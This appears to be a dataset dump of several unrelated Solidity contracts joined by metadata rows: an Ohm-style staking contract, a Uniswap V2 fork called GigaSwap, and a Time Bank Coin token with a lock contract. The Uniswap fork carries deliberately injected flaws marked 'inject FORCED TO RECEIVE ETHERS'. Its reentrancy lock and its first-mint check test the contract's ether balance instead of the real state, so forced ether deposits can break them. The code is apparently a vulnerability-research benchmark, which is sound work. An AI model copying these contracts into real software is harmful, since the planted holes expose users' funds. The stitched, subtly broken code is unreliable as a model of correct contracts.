function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IMemo { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract TimeStaking is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Time; address public immutable Memories; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Time, address _Memories, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Time != address(0)); Time = _Time; require(_Memories != address(0)); Memories = _Memories; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(Memories).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons)); IERC20(Time).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Time).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IMemo(Memories).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { IMemo(Memories).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IMemo(Memories).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Time).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(Memories).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(Memories).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
75,267
12,097
58d45db8e839fff5d2bff1ca0fe588b76a9589b5d354c76fb9c41097c965ddca
19,569
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/forcedToReceiveEthers/0xab0850aa3be306164e2f4cd679a88e16e73f335c_forcedToReceiveEthers.sol
5,363
18,964
// File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol pragma solidity =0.6.12; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } contract UniswapV2ERC20 { using SafeMathUniswap for uint; string public constant name = 'GigaSwap LP Token'; string public constant symbol = 'GLP'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this))); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)))); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/uniswapv2/libraries/Math.sol // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/uniswapv2/libraries/UQ112x112.sol // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/uniswapv2/interfaces/IERC20.sol interface IERC20Uniswap { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/uniswapv2/interfaces/IUniswapV2Callee.sol interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/uniswapv2/UniswapV2Pair.sol interface IMigrator { // Return the desired amount of liquidity token that the migrator wants. function desiredLiquidity() external view returns (uint256); } contract UniswapV2Pair is UniswapV2ERC20 { using SafeMathUniswap for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(address(this).balance == 1, 'UniswapV2: LOCKED'); //inject FORCED TO RECEIVE ETHERS unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20Uniswap(token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS address migrator = IUniswapV2Factory(factory).migrator(); if (msg.sender == migrator) { liquidity = IMigrator(migrator).desiredLiquidity(); require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity"); } else { require(migrator == address(0), "Must not have migrator"); liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1); } } // File: contracts/uniswapv2/UniswapV2Factory.sol contract UniswapV2Factory is IUniswapV2Factory { address public override feeTo; address public override feeToSetter; address public override migrator; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external override view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); migrator = _migrator; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }
279,591
12,098
ad63632cf02f00619fb24a0b195ae04bb7098fe5d00b2b2bee4bdf5c60532f6e
11,287
.sol
Solidity
false
316275714
giacomofi/Neural_Smart_Ponzi_Recognition
a26fb280753005b9b9fc262786d5ce502b3f8cd3
Not_Smart_Ponzi_Source_Code/0x62e13095b0026b226538ae3e557507af875a6e31.sol
2,383
9,209
pragma solidity ^0.4.11; // Token Issue Smart Contract for Time Bank Coin // Symbol : TBK // Name : Time Bank Coin // Total Supply : 1 Billion // Decimal : 18 // Compiler : 0.4.11+commit.68ef5810.Emscripten.clang // Optimazation : Yes // @title SafeMath // @dev Math operations with safety checks that throw on error library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; // @dev Constructor sets the original `owner` of the contract to the sender account. function Ownable() { owner = msg.sender; } // @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner); _; } // @dev Allows the current owner to transfer control of the contract to a newOwner. // @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Claimable is Ownable { address public pendingOwner; // @dev Modifier throws if called by any account other than the pendingOwner. modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } // @dev Allows the current owner to set the pendingOwner address. // @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) onlyOwner { pendingOwner = newOwner; } // @dev Allows the pendingOwner address to finalize the transfer. function claimOwnership() onlyPendingOwner { owner = pendingOwner; pendingOwner = 0x0; } } contract Contactable is Ownable{ string public contactInformation; // @dev Allows the owner to set a string with their contact information. // @param info The contact information to attach to the contract. function setContactInformation(string info) onlyOwner{ contactInformation = info; } } contract HasNoEther is Ownable { function HasNoEther() payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } contract ERC20 { using SafeMath for uint256; // private mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 _totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // @dev Get the total token supply function totalSupply() constant returns (uint256) { return _totalSupply; } // @dev Gets the balance of the specified address. // @param _owner The address to query the the balance of. // @return An uint256 representing the amount owned by the passed address. function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } // @dev transfer token for a specified address // @param _to The address to transfer to. // @param _value The amount to be transferred. function transfer(address _to, uint256 _value) returns (bool) { require(_to != 0x0); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } // @dev Transfer tokens from one address to another // @param _from address The address which you want to send tokens from // @param _to address The address which you want to transfer to // @param _value uint256 the amout of tokens to be transfered function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_from != 0x0); require(_to != 0x0); require(_value > 0); var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } // @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. // @param _spender The address which will spend the funds. // @param _value The amount of tokens to be spent. function approve(address _spender, uint256 _value) returns (bool) { require(_spender != 0x0); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // @dev Function to check the amount of tokens that an owner allowed to a spender. // @param _owner address The address which owns the funds. // @param _spender address The address which will spend the funds. // @return A uint256 specifing the amount of tokens still avaible for the spender. function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract StandardToken is ERC20 { string public name; string public symbol; uint256 public decimals; function isToken() public constant returns (bool) { return true; } } contract FreezableToken is StandardToken, Ownable { mapping (address => bool) public frozenAccounts; event FrozenFunds(address target, bool frozen); // @dev freeze account or unfreezen. function freezeAccount(address target, bool freeze) onlyOwner { frozenAccounts[target] = freeze; FrozenFunds(target, freeze); } // @dev Limit token transfer if _sender is frozen. modifier canTransfer(address _sender) { require(!frozenAccounts[_sender]); _; } function transfer(address _to, uint256 _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } contract TbkToken is Claimable, Contactable, HasNoEther, FreezableToken { // @dev Constructor initial token info function TbkToken(){ uint256 _decimals = 18; uint256 _supply = 1000000000*(10**_decimals); _totalSupply = _supply; balances[msg.sender] = _supply; name = "Time Bank Coin"; symbol = "TBK"; decimals = _decimals; contactInformation = "Time Bank Contact Email:info@tbkchain.io"; } } contract TbkTokenLock is Ownable, HasNoEther { using SafeMath for uint256; // @dev How many investors we have now uint256 public investorCount; // @dev How many tokens investors have claimed so far uint256 public totalClaimed; uint256 public tokensAllocatedTotal; // must hold as much as tokens uint256 public tokensAtLeastHold; struct balance{ address investor; uint256 amount; uint256 freezeEndAt; bool claimed; } mapping(address => balance[]) public balances; // @dev How many tokens investors have claimed mapping(address => uint256) public claimed; // @dev token FreezableToken public token; // @dev We allocated tokens for investor event Invested(address investor, uint256 amount, uint256 hour); // @dev We distributed tokens to an investor event Distributed(address investors, uint256 count); function TbkTokenLock(address _owner, address _token) { require(_owner != 0x0); require(_token != 0x0); owner = _owner; token = FreezableToken(_token); } // @dev can only withdraw rest of investor's tokens function withdrawLeftTokens() onlyOwner { token.transfer(owner, token.balanceOf(address(this))-tokensAtLeastHold); } // @dev Get the current balance of tokens // @return uint256 How many tokens there are currently function getBalance() public constant returns (uint256) { return token.balanceOf(address(this)); } }
339,757
12,099